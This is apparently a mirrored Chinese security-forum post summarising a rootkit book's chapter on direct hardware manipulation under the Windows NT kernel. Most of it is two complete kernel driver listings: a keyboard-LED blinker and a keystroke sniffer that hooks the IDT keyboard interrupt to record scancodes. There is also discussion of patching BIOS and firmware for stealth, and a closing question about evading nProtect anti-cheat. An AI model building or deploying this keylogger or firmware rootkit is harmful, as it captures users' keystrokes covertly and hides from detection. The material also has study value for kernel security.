XIN中文网

[讨论]NT内核下直接硬件操控(RootKit)-软件逆向-看雪-安全社区|安全招聘|kanxue.com

         发布日期:2025-01-04 15:17    点击次数:190
此文内容大部分来自《Rootkits: Subverting the Windows Kernel》,由于本人水平有限,错误是难免的;而且我也有很多不懂的地方,期待各位高人能指点迷津。     修改BIOS和微芯片中的数据是很危险的,但效果往往也很明显。你必须非常小心地设计,这种类型的RootKit会非常难以检测。比如,修改以太网卡,这是一个很先进的思想,不过你必须熟悉硬件的许多技术细节。你可以通过逆向工程,公开的白皮书,或者内部资料来获取这类细节。      这类技术不一定用到PC上,我们的周围,有很多嵌入式设备,它们用来执行一些短小和单一的程序。 一个嵌入式设备由一些微芯片及控制程序组成,它负责处理stepper motors,voltage regulation,armature movements, little blinking lights等等。      硬件操控是一把双刃剑,一方面,它会使你的RootKit运行在很低的级别上,几乎没有什么可以限制你的东西,你可以直接访问外围设备,磁盘控制器,处理器,硬件的存贮器。另一方面,硬件的工作方式决定了它的平台相关性,使你的RootKit不具备可移植性。      处理器通过执行保存在微芯片内的代码启动和运行,比如,PC机启动时,总是首先执行BIOS,扫描并配置硬件。所有的硬件都有这个共性。这段启动代码称为“bootstrap code”,“bootstrap code”也叫做firmware,它是非易失性的,就是说,当硬件断电时也不会被抹去。      firmware是关键,RootKit可以通过为firmware打补丁实现我们想得到的新功能。但要注意,打补丁时不要覆盖其本来的代码,这类补丁一般都有严格的大小限制。      为firmware打补丁,就必须要写入存贮芯片(在PC上,一般是指写入BIOS)。你可以用外部设备来做这件事,也可以用软件(加载程序)来实现。病毒或木马都可能这么做。      路由器和一些嵌入式设备的firmware不支持使用加载程序。这种情况下你可以试下firmware升级的方法.      软件的工作,除了简单的数学计算,再就是数据的移动。通过将特定的数据移动到硬件的存贮芯片,我们就可以对硬件进行控制。大部分硬件都有自己的存贮芯片,这些存贮芯片是可以被访问的。      大部分硬件都会露出自己的存贮芯片地址,这个地址叫做端口。读写端口需要特殊的指令,在PC机上,读写指令分别为IN,OUT。不过在PC机下,很多硬件的存贮器地址会被映射到PC机内存上,这样你就可以直接用MOV指令来操作。      读写硬件的存贮器和读写RAM有很大区别,如果你向一个端口写数据,然后马上又把数据读取出来,前后的数据有可能不同。因为该端口内部其实有两个寄存器,分别对应着读取与写入操作。 续 ●I/O控制器 CPU和RAM之间共享一条总线(BUS),外围设备和卡槽设备连接到另一条总线,总线之间的联系必须要通过I/O控制器。现代主板上的总线类型非常 多,比如PCI总线 , AGP总线。总线是设备与设备之间,或者设备与CPU之间通信的桥梁。在总线上,有的设备只响应CPU发出的请求。有的则监 视总线上所有的数据传输。数据传输通过设备自己的存贮器进行,设备通过检查自己的存贮器是否发生改变来获取请求。 ●BIOS 主板BIOS一般只用来启动计算机,现代操作系统很少用到BIOS提供的功能。在完成检查和配置硬件后,BIOS把控制转交给硬盘上的一个特殊的专 门用于启动的块,MBR->引导扇区->NTLDR 再由NTLDR加载WINDOWS核心。不过BIOS是可以被修改的,我已在前面提到过。著名的CIH病毒就是通过 修改BIOS来破坏系统的。PCI设备可以有自己的BIOS。 ●控制键盘上的LED灯闪烁   控制芯片很简单,只要你知道它的存贮器地址就可以了。我们可以用IN和OUT指令来传输数据。8259键盘控制器的端口地址为0x60和0x64。64 端口用于传输数据,60端口就稍微复杂点,如果对60端口进行读操作,那么读出的是状态字,写操作的话,写入的就是命令了。 下面我们用这种方法来控制键盘的LED,使其不停闪烁。我会在代码内加很多注释帮助你了解整个过程,我不懂的地方就请高人解答了-_- 代码如下: PKTIMER gTimer;   //内核态下的定时器,功能和用户态下的定时器一样 PKDPC gDPCP;      //DPC对象,延迟过程调用,你可以暂且把它理解为回调函数 UCHAR g_key_bits = 0; #define SET_LEDS 0xED  //命令字 #define KEY_RESET 0xFF #define KEY_ACK 0xFA // ack #define KEY_AGAIN 0xFE // send again PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; //端口0x60和0x64 PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64; #define IBUFFER_FULL 0x02  //status register bits #define OBUFFER_FULL 0x01  //这两个位我不太清楚是什么意义,下面会用到 // flags for keyboard LEDS #define SCROLL_LOCK_BIT (0x01 << 0)//用于指示键盘的LEB闪烁,下面会提到 #define NUMLOCK_BIT (0x01 << 1) #define CAPS_LOCK_BIT (0x01 << 2) /* 这个函数用于等待,等待可以对键盘端口进行读写操作?不太了解★*/ ULONG WaitForKeyboard()         {                 char _t[255];                 int i = 100; // number of times to loop                 UCHAR mychar;                 //DbgPrint("waiting for keyboard to become accessible\n");                 do                 {                         mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );//READ_PORT_UCHAR是HAL.DLL提供的宏,相当于in指令,但可以 跨各种硬件平台                         KeStallExecutionProcessor(50);                         //_snprintf(_t, 253, "WaitForKeyboard::read byte X                         // from port 0x64\n", mychar);                         //DbgPrint(_t);                         if(!(mychar & IBUFFER_FULL)) break; // if the flag is                         // clear, we go ahead 看样子是等捕获的数据第2位为0,这代表什么?                 }                 while (i--);                 if(i) return TRUE;                 return FALSE;         } /*下面这个函数必须在调用WaitForKeyboard()并且返回成功后才可调用,函数名的字面意思是清空输出存贮器    这样看来,调用OUT指令,在取出数据的同时,所取出的数据也会在存贮器内被删除,不知道理解的对不对★*/         void DrainOutputBuffer()         {                 char _t[255];                 int i = 100; // number of times to loop                 UCHAR c;                 //DbgPrint("draining keyboard buffer\n");                 do                 {                         c = READ_PORT_UCHAR(KEYBOARD_PORT_64); //                         KeStallExecutionProcessor(666);                         //_snprintf(_t, 253, "DrainOutputBuffer::read byte                         // X from port 0x64\n", c);                         //DbgPrint(_t);                         if(!(c & OBUFFER_FULL)) break; // If the flag is                         // clear, we go ahead.                         // Gobble up the byte in the output buffer.                         c = READ_PORT_UCHAR(KEYBOARD_PORT_60);                         //_snprintf(_t, 253, "DrainOutputBuffer::read byte                         // X from port 0x60\n", c);                         //DbgPrint(_t);                 }                 while (i--);         } /*下面这个函数就好理解了,向60端口发送命令,*/ ULONG SendKeyboardCommand( IN UCHAR theCommand )         {                 char _t[255];                 if(TRUE == WaitForKeyboard()) //先调用WaitForKeyboard()函数等待                 {                         DrainOutputBuffer(); //再清空输出存贮器?要这两步后才可以对60端口输入命令,这两步是什么意义?★                         //_snprintf(_t, 253, "SendKeyboardCommand::sending byte                         // X to port 0x60\n", theCommand);                         //DbgPrint(_t);                         WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );                         //DbgPrint("SendKeyboardCommand::sent\n");                 }                 else                 {                         //DbgPrint("SendKeyboardCommand::timeout waiting                         for keyboard\n");                                 return FALSE;                 }                 // TODO: wait for ACK or RESEND from keyboard.                 return TRUE;         } /*下面这个为SendKeyboardCommand()的外包函数,具体实现发送命令*/ void SetLEDS( UCHAR theLEDS )         {                 // setup for setting LEDS                 if(FALSE == SendKeyboardCommand( 0xED )) //                 {                         //DbgPrint("SetLEDS::error sending keyboard command\n");                 }                 // send the flags for the LEDS                 if(FALSE == SendKeyboardCommand( theLEDS ))                 {                         //DbgPrint("SetLEDS::error sending keyboard command\n");                 }         }/*下面这个函数是卸载驱动,很简单,一看就明白 VOID OnUnload( IN PDRIVER_OBJECT DriverObject )         {                 DbgPrint("ROOTKIT: OnUnload called\n");                 KeCancelTimer( gTimer ); //销毁创建的资源                 ExFreePool( gTimer );                 ExFreePool( gDPCP );         } /*这是DPC的回调函数,你可以这么理解。它具体调用SetLEDS()*/ VOID timerDPC(IN PKDPC Dpc,                 IN PVOID DeferredContext,                 IN PVOID sys1,                 IN PVOID sys2)         {                 //WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );                 SetLEDS( g_key_bits++ );                 if(g_key_bits > 0x07) g_key_bits = 0;  //g_key_bits从0x1到0x6循环,键盘上的3个LED灯就会交错闪烁         } /*驱动程序的入口函数,很容易理解*/ NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING                 theRegistryPath )         {                 LARGE_INTEGER timeout;                 theDriverObject->DriverUnload = OnUnload;                 // These objects must be non-paged.                 gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));                 gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));                 timeout.QuadPart = -10;                 KeInitializeTimer( gTimer );                 KeInitializeDpc( gDPCP, timerDPC, NULL );                 if(TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP))                 {                         DbgPrint("Timer was already queued..");                 }                 return STATUS_SUCCESS;         } ●键盘监视器    通过修改IDT中的0x31键盘中断处理程序来捕获键盘输入,但不同的系统也许这个中断会不同。如果你理解了第一个程序, 这个程序就很好理解了(但我还有些糊涂,我不懂的地方用★标识了,期待高人释疑)。你可以检查可编程中断控制器 PIC (Programmable Interrupt Controller)中对应IRQ 为1的中断,就是键盘中断。    中断必须迅速地被处理,正常的中断处理程序调用DPC来处理中断,但我们不需要这样,我们只要捕获击键并放入内存就可以了。 代码如下: // Basic Keyboard Sniffer#include "ntddk.h" #include <stdio.h> #define MAX_IDT_ENTRIES 0xFF // interrupt #define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16)) //#define NT_INT_KEYBD                                0xB3 #define NT_INT_KEYBD                                0x31 // commands #define READ_CONTROLLER                0x20 #define WRITE_CONTROLLER        0x60 // command bytes #define SET_LEDS                        0xED #define KEY_RESET                        0xFF // responses from keyboard #define KEY_ACK                                0xFA        // ack #define KEY_AGAIN                        0xFE        // send again // 8042 ports // when you read from port 64, this is called STATUS_BYTE // when you write to port 64, this is called COMMAND_BYTE // read and write on port 64 is called DATA_BYTE PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64; // status register bits #define IBUFFER_FULL                0x02 #define OBUFFER_FULL                0x01 // flags for keyboard LEDS #define SCROLL_LOCK_BIT                (0x01 << 0) #define NUMLOCK_BIT                        (0x01 << 1) #define CAPS_LOCK_BIT                (0x01 << 2) /////////////////////////////////////////////////// // IDT structures /////////////////////////////////////////////////// #pragma pack(1) //该声明使其内部的各个成员没有间隙 // entry in the IDT, this is sometimes called // an "interrupt gate" typedef struct {         unsigned short LowOffset;         unsigned short selector;         unsigned char unused_lo;         unsigned char segment_type:4;        //0x0E is an interrupt gate         unsigned char system_segment_flag:1;         unsigned char DPL:2;        // descriptor privilege level         unsigned char P:1; /* present */         unsigned short HiOffset; } IDTENTRY; /* sidt returns idt in this format */ typedef struct {         unsigned short IDTLimit;         unsigned short LowIDTbase;         unsigned short HiIDTbase; } IDTINFO; #pragma pack() unsigned long old_ISR_pointer;        // better save the old one!! unsigned char keystroke_buffer[1024]; //grab 1k keystrokes int kb_array_ptr=0; ULONG WaitForKeyboard() {         char _t[255];         int i = 100;        // number of times to loop         UCHAR mychar;                 //DbgPrint("waiting for keyboard to become accecssable\n");         do         {                 mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );                 KeStallExecutionProcessor(666);                 //_snprintf(_t, 253, "WaitForKeyboard::read byte X from port 0x64\n", mychar);                 //DbgPrint(_t);                 if(!(mychar & IBUFFER_FULL)) break;        // if the flag is clear, we go ahead         }         while (i--);         if(i) return TRUE;         return FALSE; } // call WaitForKeyboard before calling this function void DrainOutputBuffer() {         char _t[255];         int i = 100;        // number of times to loop         UCHAR c;                 //DbgPrint("draining keyboard buffer\n");         do         {                 c = READ_PORT_UCHAR(KEYBOARD_PORT_64);                                 KeStallExecutionProcessor(666);                 //_snprintf(_t, 253, "DrainOutputBuffer::read byte X from port 0x64\n", c);                 //DbgPrint(_t);                 if(!(c & OBUFFER_FULL)) break;        // if the flag is clear, we go ahead                         // gobble up the byte in the output buffer                 c = READ_PORT_UCHAR(KEYBOARD_PORT_60);                                 //_snprintf(_t, 253, "DrainOutputBuffer::read byte X from port 0x60\n", c);                 //DbgPrint(_t);         }         while (i--); } // write a byte to the data port at 0x60 ULONG SendKeyboardCommand( IN UCHAR theCommand ) {         char _t[255];                         if(TRUE == WaitForKeyboard())         {                 DrainOutputBuffer();                 //_snprintf(_t, 253, "SendKeyboardCommand::sending byte X to port 0x60\n", theCommand);                 //DbgPrint(_t);                 WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );                                 //DbgPrint("SendKeyboardCommand::sent\n");         }         else         {                 //DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");                 return FALSE;         }                 // TODO: wait for ACK or RESEND from keyboard                        return TRUE; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {         IDTINFO                idt_info;                // this structure is obtained by calling STORE IDT (sidt)         IDTENTRY*        idt_entries;        // and then this pointer is obtained from idt_info         char _t[255];         // load idt_info         __asm        sidt        idt_info                idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);         //将获取的IDT地址存入idt_entries         DbgPrint("ROOTKIT: OnUnload called\n");         DbgPrint("UnHooking Interrupt...");         // restore the original interrupt handler         __asm cli   //屏蔽中断,并且恢复原始的键盘中断处理程序         idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short) old_ISR_pointer;         idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);         __asm sti   //恢复中断         DbgPrint("UnHooking Interrupt complete.");                 DbgPrint("Keystroke Buffer is: ");         while(kb_array_ptr--)    //调试输出所截取的键盘按键         {                 DbgPrint("X ", keystroke_buffer[kb_array_ptr]);         } } // using stdcall means that this function fixes the stack before returning (opposite of cdecl) void __stdcall print_keystroke() {         UCHAR c;         //DbgPrint("stroke");         // get the scancode         c = READ_PORT_UCHAR(KEYBOARD_PORT_60);      //读0x60端口获取扫描码         //DbgPrint("got scancode X", c);         if(kb_array_ptr<1024){                     //最多获取1024个扫描码                 keystroke_buffer[kb_array_ptr++]=c;         }         //put scancode back (works on PS/2) 必须将刚获取的扫描码再写回去?★         WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode                WaitForKeyboard();         WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c); //write the scancode to echo back } // naked functions have no prolog/epilog code - they are functionally like the // target of a goto statement   我们自己的中断处理例程 __declspec(naked) my_interrupt_hook() {         __asm         {                 pushad                                        // save all general purpose registers                 pushfd                                        // save the flags register                 call        print_keystroke        // call function                 popfd                                        // restore the flags                 popad                                        // restore the general registers                 jmp                old_ISR_pointer        // goto the original ISR         } } //DriverEntry()主要的工作是替换IDT中的键盘中断处理程序 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {         IDTINFO                idt_info;                // this structure is obtained by calling STORE IDT (sidt)         IDTENTRY*        idt_entries;        // and then this pointer is obtained from idt_info         IDTENTRY*        i;         unsigned long         addr;         unsigned long        count;         char _t[255];                 theDriverObject->DriverUnload  = OnUnload;         // load idt_info         __asm        sidt        idt_info                 idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);         for(count=0;count < MAX_IDT_ENTRIES;count++)         {                 i = &idt_entries[count];                 addr = MAKELONG(i->LowOffset, i->HiOffset);                                 _snprintf(_t, 253, "Interrupt %d: ISR 0xX", count, addr);                 DbgPrint(_t);         }         DbgPrint("Hooking Interrupt...");         // lets hook an interrupt         // exercise - choose your own interrupt         old_ISR_pointer = MAKELONG(idt_entries[NT_INT_KEYBD].LowOffset,idt_entries[NT_INT_KEYBD].HiOffset);         // debug, use this if you want some additional info on what is going on #if 1         _snprintf(_t, 253, "old address for ISR is 0xx", old_ISR_pointer);         DbgPrint(_t);         _snprintf(_t, 253, "address of my function is 0xx", my_interrupt_hook);         DbgPrint(_t); #endif                 // remember we disable interrupts while we patch the table         __asm cli         idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short)my_interrupt_hook;         idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);         __asm sti // debug - use this if you want to check what is now placed in the interrupt vector #if 1         i = &idt_entries[NT_INT_KEYBD];         addr = MAKELONG(i->LowOffset, i->HiOffset);         _snprintf(_t, 253, "Interrupt ISR 0xX", addr);         DbgPrint(_t);        #endif         DbgPrint("Hooking Interrupt complete");         return STATUS_SUCCESS; } ●微代码(Microcode)升级 现代Intel和AMD的处理器有一项特性是微代码(Microcode)升级,它允许你升级(上传)处理器内部的一小段代码,这段代码可以改变处理器 的工作方式。就是说,处理器内部的的芯片是可以访问并修改的。这是很神秘的工作方式。直到我写这本书,这方面公开的文档也很少。     微代码(Microcode)升级之初的目的不是为了让你攻击的,它是为了提供错误检查定位的功能。如果处理器出现了故障,升级处理器内部 的微代码可以确认问题来源。在处理器内部,微代码允许新的代码修改或添加。这可以改变处理器指令的工作,或者屏蔽处理器的一些特性。 Linux下已经存在微代码升级的驱动,你可以用它来修改Intel或AMD处理器的微代码。你可以在互联网上搜索“AMD K8 microcode update driver”来找到它。 ●总结,自己水平非常有限,错误难免。而且我也有些不懂的地方,欢迎大家拍砖、指正。 在给出的代码中,我不懂的地方有三处,我都以“★”符号标明。 第一点,闪烁键盘LED灯的代码中,在向0x60端口发送命令前,必须要调用一个WaitForKeyboard()函数,该函数读取0x64数据端口并且检查读取 数据的第二位是否为0,必须要为0,才可以继续下面的动作。那么0x64端口的第二位是什么标志? 第二点,在调用WaitForKeyboard()函数并且得到成功返回后,还要调用 DrainOutputBuffer()函数,该函数仅仅是不停地读取0x64端口,直到 读取的数据第一位为0。按函数名的字面意思,是要将0x64端口内的数据全部读完?读取0x64端口获取的数据其第一位是什么标志? 最后,在键盘中断处理程序中,捕获0x60端口内的键盘扫描码后,又要将获取的扫描码返回去,这么做是否必须? 我期望了解这两个端口的详细操作,因为我需要模拟按键功能。如果谁能给我详细些的资料,不胜感激。 ●联想,疑惑   使用IN 和 OUT 命令操作端口监听键盘动作似乎无法过NP,那么NP肯定有更底层的机制来阻止监视,难道是修改键盘控制器的驱动?   键盘中断是怎么产生的?有没有可能人为产生一个键盘中断?键盘控制器和键盘中断处理例程之间还有什么?   USB键盘是不是有完全不同的控制机制?我可以虚拟一个USB键盘来模拟按键吗?   期待高人的回复... [培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

 
友情链接:

Powered by APL中文网 @2013-2022 RSS地图 HTML地图

Copyright Powered by站群系统 © 2013-2024